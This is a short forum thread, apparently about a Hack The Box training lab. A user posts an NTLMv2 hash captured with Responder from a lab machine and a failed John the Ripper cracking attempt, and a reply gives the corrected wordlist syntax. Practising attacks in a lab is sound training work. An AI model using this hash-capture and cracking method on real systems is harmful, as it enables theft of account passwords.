Starting Point Tier 1 Responder

HTB Content Machines
1

I can’t crack the password for the Administrator account. What am I doing wrong?

Responder captured hash:

[SMB] NTLMv2-SSP Client : 10.129.176.139
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:57cf68d9e92b743c:2902D92BABC32472F75FDAC6A1A2821C:010100000000000080ED75C82CC3DA01C48C0C218D4D2C9D000000000200080033004B005700510001001E00570049004E002D004700380044004500350056004B00470032004E004C0004003400570049004E002D004700380044004500350056004B00470032004E004C002E0033004B00570051002E004C004F00430041004C000300140033004B00570051002E004C004F00430041004C000500140033004B00570051002E004C004F00430041004C000700080080ED75C82CC3DA0106000400020000000800300030000000000000000100000000200000098739E42A0CB217CC285FF4948FC60A1B559EF69B7F5D083A5098CA292CAA870A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340038000000000000000000

Then I have put this hash in a file:

echo “Administrator::RESPONDER:57cf68d9e92b743c:2902D92BABC32472F75FDAC6A1A2821C:010100000000000080ED75C82CC3DA01C48C0C218D4D2C9D000000000200080033004B005700510001001E00570049004E002D004700380044004500350056004B00470032004E004C0004003400570049004E002D004700380044004500350056004B00470032004E004C002E0033004B00570051002E004C004F00430041004C000300140033004B00570051002E004C004F00430041004C000500140033004B00570051002E004C004F00430041004C000700080080ED75C82CC3DA0106000400020000000800300030000000000000000100000000200000098739E42A0CB217CC285FF4948FC60A1B559EF69B7F5D083A5098CA292CAA870A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340038000000000000000000” > hash.txt

Finally tried to crack the password with john:

john --format=netntlmv2 -w /usr/share/wordlists/rockyou.txt hash.txt
Warning: invalid UTF-8 seen reading /usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press ‘q’ or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-06-20 16:37) 0g/s 354600p/s 354600c/s 354600C/s ilovegod…sss
Session completed

2

Wrong syntax. Correct one:

john --format=netntlmv2 -w=/usr/share/wordlists/rockyou.txt hash.txt